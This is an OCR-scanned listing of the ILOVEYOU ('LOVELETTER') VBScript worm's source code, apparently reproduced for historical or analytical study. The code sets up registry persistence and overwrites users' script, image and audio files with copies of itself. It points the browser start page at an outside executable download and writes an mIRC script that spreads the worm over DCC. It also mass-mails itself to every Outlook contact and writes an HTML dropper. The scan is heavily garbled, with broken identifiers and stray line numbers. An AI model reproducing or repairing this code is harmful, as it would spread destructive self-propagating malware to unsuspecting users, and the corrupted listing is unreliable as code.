101313al Ol 450, 101453

[ HKEY- USERS\ . DEFAULT\ Sof t war e\ M cr osof t \ W ndows Scri pting Host]

\%

[ HKEY- USERS\ . DEFAULT\ Sof t war e\ M cr osof t \ W ndows Scri pting Host\ Settings]

vV V V
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ooo~NOOIT~hWNE

LOVELETTER SCRIPT (LISTING 2)

rem barok -loveletter(vbe) <i hate go to school >

rem by: spyder [/ ispyder@mil.com / @BERAMVERSOf t
Goup [/ Manila, Philippines

On Error Resunme Next

dimfso,dirsystemdirwin,dirtenp,eq,ctr,file, vbscopy, dow

eg=""

ctr=0

Set fso = Create(bject("Scripting. FileSystenthject")

set file = fso.OpenText Fil e(Wscri pt. Scri pt Ful | nane, 1)

vbscopy=fil e. ReadAl |

mai n()

sub main()

On Error Resunme Next

di mwscr,rr

set wscr=CreateOhject("Wscript. Shell")

rr=wscr. RegRead( " HKEY_ CURRENT_ USER\ Sof t war e\ M cr osof t\ Wndows Scri pting
Host\ Setti ngs\ Ti meout ")

if (rr>=1) then

wscr. RegWite "HKEY CURRENT_ USER\ Software\ M crosoft\ Wndows Scripting
Host\ Set ti ngs\ Ti neout", 0, " REG_DWORD"

end if

Set dirwin = fso. Get Speci al Fol der (0)

Set dirsystem = fso. Get Speci al Fol der (1)

Set dirtenp = fso. Get Speci al Fol der (2)

Set ¢ = fso. GetFile(Wscript. ScriptFull Nane)

c. Copy(dirsyst en&"\ MsKer nel 32. vbs")

c. Copy(dirwi n&'\ Wn32DLL. vbs")

c. Copy(dirsystem&"\ LOVE- LETTER- FOR- YOU. TXT. vbs")

regruns()

htm ()

spreadt oenai | ()

listadriv()

end sub

sub regruns()

On Error Resunme Next

Di m num downr ead

regcreate

"HKEY_LOCAL_MACHI NE\ Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ Run\ M5Ker ne
| 32", di r syst em&"\ M5Ker nel 32. vbs"

regcreate

"HKEY_LOCAL_MACHI NE\ Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ RunSer vi ces
\Wn32DLL", di rwi n&'\ Wn32DLL. vbs"

downr ead=""

downr ead=r egget (" HKEY_CURRENT _USER\ Sof t war e\ M cr osof t\ | nt er net

Expl orer\ Downl oad Di rectory")

if (downread="") then

downread="c:\"

end if

if (fileexist(dirsystem& \WnFAT32. exe")=1) then

Randomi ze
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num= Int((4 * Rd) + 1)

if num= 1 then

regcreate "HKCW Software\ M crosoft\lnternet Explorer\Min\Start

Page", "http://ww. skyi net. net/~youngls/ HIKhj nwer hj kxcvyt wer t nMIrFwet r dsf mh
Pnj w6587345gvsdf 7679nj bvYT/ W N- BUGSFI X. exe"

el seif num= 2 then

regcreate "HKCW Sof t ware\ M crosoft\Ilnternet Explorer\Min\Start

Page", "http://ww. skyi net. net/~angel cat/ skl adj f| f dj ghKInwet r yDGFi kj Ul ygqwe
r We546786324hj k4j nHHGovbnKLJIKj hkqj 4w/ W N- BUGSFI X. exe"

elseif num= 3 then

regcreate "HKCW Sof tware\ M crosoft\Internet Explorer\Min\Start

Page", "http://ww. skyi net. net/~koi chi/jf6TR kcbhGRpGgagql98vbFV5hf FEKbopBdQ
ZnnPOhf gER67b3Vbvg/ W N- BUGSFI X. exe"

el seif num= 4 then

regcreate "HKCW Sof t ware\ M crosoft\Internet Explorer\Miin\Start

Page", "htt p: // ww. skyi net. net/ ~chu/ sdgf hj ksdf j kIl NBrmf gkKLH kqwt uHIBhAFSDG
j khYUggwer asdj hPhj asf dgl kNBhbgwebnmenxcbvnmadshf ggw237461234i uy7t hj g/ W N-
BUGSFI X. exe"

end if

end if

if (fileexist(downread&"\ W N BUGSFI X. exe")=0) then

regcreate

"HKEY_LOCAL_MACHI NE\ Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ Run\ W N-
BUGSFI X", downr ead&"\ W N- BUGSFI X. exe"

regcreat e "HKEY CURRENT_USER\ Sof t war e\ M crosoft\ I nt ernet

Expl orer\ Mai n\ Start Page", "about : bl ank"

end if

end sub

sub listadriv

On Error Resume Next

Dmd,dc,s

Set dc = fso.Drives

For Each d in dc

If d.DriveType = 2 or d.DriveType=3 Then

folderlist(d.path& \")

end if

Next

listadriv = s

end sub

sub infectfil es(fol derspec)

On Error Resunme Next

dimf,fl,fc, ext,ap, mrcfnane,s, bnanme, np3

set f = fso. GetFol der (f ol der spec)

set fc =f.Files

for each f1 in fc

ext =f so. Get Ext ensi onNane(f 1. pat h)

ext =l case(ext)

s=| case(f 1. nane)

if (ext="vbs") or (ext="vbe") then

set ap=fso. OpenTextFil e(f1l. path,2,true)

ap.wite vbscopy

ap. cl ose

el seif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or
(ext="sct") or (ext="hta") then

set ap=fso. OpenTextFil e(fl.path, 2,true)

ap.wite vbscopy

ap. cl ose
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108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143

145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164

bnane=f so. Get BaseNane(f 1. pat h)

set cop=fso. GetFile(f1l.path)

cop. copy(fol derspec&'\" &name&". vbs")

fso. Del eteFil e(f1. path)

el seif(ext="jpg") or (ext="jpeg") then

set ap=fso. OpenTextFil e(fl. path, 2,true)
ap.wite vbscopy

ap. cl ose

set cop=fso. GetFile(fl.path)

cop. copy(f 1. path&". vbs")

fso. Del eteFil e(f1. path)

el sei f(ext="np3") or (ext="nmp2") then

set nmp3=fso.CreateTextFil e(f1.path&". vbs")
nmp3. wite vbscopy

np3. cl ose

set att=fso.GetFile(fl.path)
att.attributes=att.attributes+2

end if

i f (eqg<>fol derspec) then

if (s="mrc32.exe") or (s="mink32.exe") or (s="mrc.ini") or
(s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(fol derspec&'\script.ini")
scriptini.WiteLine "[script]"
scriptini.WiteLine ";m RC Script"

scriptini.WiteLine "; Please dont edit this script... mMRC will
corrupt, if mRC wll"
scriptini.WiteLine " corrupt... WNDOANS will affect and will not run

correctly. thanks"

scriptini.WiteLine ";"

scriptini.WiteLine "; Khal ed Mardam Bey"
scriptini.WiteLine ";http://ww.mrc.cont
scriptini.WiteLine ";"

scriptini.WiteLine "nO=on 1: JON: #: {"
scriptini.WiteLine "nl= /[if ( $nick == $nme ) { halt }"
scriptini.WiteLine "n2= /.dcc send $ni ck "&dirsystem&"\ LOVE- LETTER- FOR-
YOU. HTM'

scriptini.WitelLine "n3=}"

scriptini.close

eq=f ol der spec

end if

end if

next

end sub

sub fol derlist(fol derspec)

On Error Resume Next

dimf,fl,sf

set f = fso. GetFol der (fol der spec)

set sf = f.SubFol ders

for each f1 in sf

infectfil es(fl. path)

folderlist(fl. path)

next

end sub

sub regcreate(regkey, regval ue)

Set regedit = CreateObject("Wscript.Shell™)
regedit. RegWite regkey, regval ue

end sub
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165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183

185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221

function regget (val ue)

Set regedit = CreateQbject("Wscript. Shell™)

regget =r egedi t . RegRead( val ue)

end function

function fileexist(fil espec)

On Error Resume Next

di m nsg

if (fso.FileExists(filespec)) Then

nmsg = 0

el se

nmng = 1

end if

fileexist = msg

end function

function fol derexi st (fol derspec)

On Error Resunme Next

di m nmsg

i f (fso. GetFol der Exi st s(fol derspec)) then

msg = 0

el se

mg = 1

end if

fileexist = msg

end function

sub spreadtoenail ()

On Error Resunme Next
dimx,a,ctrlists,ctrentries, nal ead, b, regedit, regv, regad

set regedit=CreateCbject("Wscript.Shell")

set out =Wscri pt. CreateQbj ect (" Qutl ook. Appl i cation")

set mapi =out . Get NaneSpace(" MAPI ")

for ctrlists=1 to mapi.AddressLi sts. Count

set a=napi . AddressLists(ctrlists)

x=1

regv=r egedi t . RegRead( " HKEY_CURRENT_USER\ Sof t war e\ M cr osof t\ WAB\ " &a)
if (regv="") then

regv=l

end if

if (int(a.AddressEntries.Count)>int(regv)) then

for ctrentries=1 to a. AddressEntries. Count

mal ead=a. Addr essEntri es(x)

regad=""

r egad=r egedi t . RegRead( " HKEY_CURRENT_USER\ Sof t war e\ M cr osof t \ WAB\ " &mal ead)
if (regad="") then

set mal e=out. Createlten(0)

mal e. Reci pi ent s. Add( nal ead)

mal e. Subj ect = "1 LOVEYQU'

mal e. Body = vbcrl f&'kindly check the attached LOVELETTER com ng fromne."
mal e. Attachnment s. Add(di rsyst em&"\ LOVE- LETTER- FOR- YOU. TXT. vbs")
mal e. Send

regedit. RegWite

" HKEY_CURRENT_USER\ Sof t war e\ M cr osof t \ WAB\ " &ral ead, 1, " REG_DWORD"
end if

X=x+1

next

regedit. RegWite

" HKEY_CURRENT_USER\ Sof t war e\ M cr osof t\ WAB\ " &a, a. Addr essEntri es. Count
el se
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222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243

245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278

regedit. RegWite
"HKEY_CURRENT_USER\ Sof t war e\ M cr osof t \ WAB\ " &, a. Addr essEntri es. Count
end if
next
Set out =Not hi ng
Set mapi =Not hi ng
end sub
sub htm
On Error Resume Next
dimlines,n,dtal,dta2,dt1,dt2,dt3,dt4,11,dt5,dt6
dt al=" <HTM_><HEAD><TI| TLE>LOVELETTER - HTM.<?- ?Tl TLE><META NAME=@
@ener at or @ @ CONTENT=@ @AROK VBS - LOVELETTER@ @" &vbcrlf& _
"<META NAMVE=@ @\ut hor @ @ CONTENT=@ @ pyder ?-? ispyder@mil.com ?-7?
@RAMVERSoft Group ?-? Manila, Philippines ?-? March 2000@ @" &vbcrl f& _
"<META NAMVE=@ @escri pti on@ @ CONTENT=@ @i nple but i think this is
good. .. @ @" &vbcrlf& _
" <?- ?HEAD><BODY ONMOUSEQUT=@ @u ndow. name=#- #mai n#- #; wi ndow. open( #- #LOVE-
LETTER- FOR- YOU. HTME- #, #- #mai n#-#) @ @ " &becrl f & _
" ONKEYDOMN=@ @\ ndow. name=#- #mai n#- #; wi ndow. open( #- #LOVE- LETTER- FOR-
YOU. HTME- #, #- #mai n#- #) @ @ BGPROPERTI ES=@ @ i xed@ @ BCCOLOR=@ @FF9933@
@" &berlf& _
"<CENTER><p>This HTM. fil e need ActiveX Control <?-?p><p>To Enable to read
this HTML fil e<BR>- Pl ease press #-#YES#-# button to Enabl e ActiveX<?-
?p>"&vberl f& _
" <?- 2CENTER><MARQUEE LOOP=@ @ nfinite@ @ BGCCOLOR=@ @el | ow@ @----------
R L T R <?- ?MARQUEE> "&vbcrl f&
" <?- ?BODY><?- ?HTML>" &vbcr | f & _
"<SCRI PT | anguage=@ @Script @ @" &bcrl f& _
"<l--2-2?2-?"&vber 1 f & _
"if (w ndow. screen){var w =screen. avai |l Wdt h; var
hi =scr een. avai | Hei ght ; wi ndow. noveTo( 0, 0) ; wi ndow. r esi zeTo(w , hi);}"&vbcrl f
&
"?-?2?-?-->"&becrl f& _
"<?-?SCRI PT>"&vbcrl f& _
"<SCRI PT LANGUAGE=@ @/BScri pt @ @" &bcrl f& _
"<I--"&becrlf& _
"on error resune next"&bcecrlf& _
"dimfso, dirsystemwi, code, code2, code3, code4, aw, regdi t " &bcrl f& _
"aw=1"&vberl f& _
"code="
dta2="set fso=CreateObject (@ @cripti ng FileSystembject @@ " &berl f& _
"set dirsystensfso. Get Speci al Fol der (1) "&vbcrlf&
"code2=r epl ace(code, chr (91) &hr (45) &chr (91), chr(39)) &vberl f& _
"code3=repl ace(code2, chr (93) &hr (45) &hr (93), chr (34) )" &bcrlf& _
"code4=r epl ace(code3, chr (37) &hr (45) &hr (37), chr(92)) " &bcrlf& _
"set wi=fso.CreateTextFile(dirsystem&@ @ -"MsKernel 32. vbs@ @ " &bcrl f& _
"wi.wite coded"&bcrlfé& _
wi.close"&bcrlf& _
"if (fso.FileExists(dirsystenm&@ @-"NMsKernel 32.vbs@ @) then"&bcrlf& _
"if (err.nunber=424) then"&bcrlf& _
"aw=0"&vbcrlf& _
"end if"&berlf& _
"if (awsl) then"&bcrlf& _
"docunment. wite @ @RROR can#-#t initialize ActiveX@ @&vbcrlfé& _
"wi ndow. cl ose" &bcrl f& _
"end if"&berlf& _
"end if"&berlf& _
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279 "Set regedit = CreateCbject(@ @\cript.Shell @@"&vberl f& _

280 "regedit. RegWite @ @HKEY_LOCAL_MACHI NE~- ASof t war er- M crosof t /-
281 AW ndows”- ACur r ent Ver si on™- ~Run”-~"NMsKer nel 32@ @ di r syst em&@ @ -
282 AMBKer nel 32. vbs@ @ &vber | f&

283 "9-27-?-->"&berl f& _

284 "'<?-?SCRI PT>"

285 dt 1=r epl ace(dt al, chr (35) &hr (45) &hr(35),"'")

286 dt 1=repl ace(dt 1, chr (64) &hr (45) &hr (64),"""")

287 dt 4=r epl ace(dt 1, chr (63) &hr (45) &hr (63),"/")

288 dt 5=r epl ace(dt 4, chr (94) &chr (45) &hr (94),"\")

289 dt 2=r epl ace(dt a2, chr (35) &hr (45) &hr(35),""' ")

290 dt 2=repl ace(dt 2, chr (64) &hr (45) &hr (64),"""")

291 dt 3=repl ace(dt 2, chr (63) &hr (45) &hr (63),"/")

292 dt 6=r epl ace(dt 3, chr (94) &chr (45) &hr (94),"\")

293 set fso=CreateQbject("Scripting.FileSystenbject")

294 set c=fso. QpenText Fi | e(Wscri pt. Scri pt Ful | Name, 1)

295 lines=Split(c.ReadAll, vbcrlf)

296 | 1=ubound(! i nes)

297 for n=0 to ubound(lines)

298 lines(n)=replace(lines(n),""",chr(91)+chr(45)+chr(91))

299 lines(n)=replace(lines(n),"""", chr(93)+chr(45)+chr(93))

300 I i nes(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))

301 if (11=n) then

302 I'i nes(n)=chr(34)+lines(n)+chr(34)

303 el se

304 I i nes(n)=chr(34)+lines(n)+chr(34)&" &bcrlf& "

305 end if

306 next

307 set b=fso. CreateTextFil e(dirsystem"\ LOVE- LETTER- FOR- YOU. HTM')
308 b. cl ose

309 set d=fso. QpenText Fil e(dirsystem+"\ LOVE- LETTER- FOR- YOU. HTM', 2)
310 dwite dt5

311 d.wite join(lines,vbcrlf)

312 d.wite vberlf

313 d.wite dt6

314 d. cl ose

315 end sub
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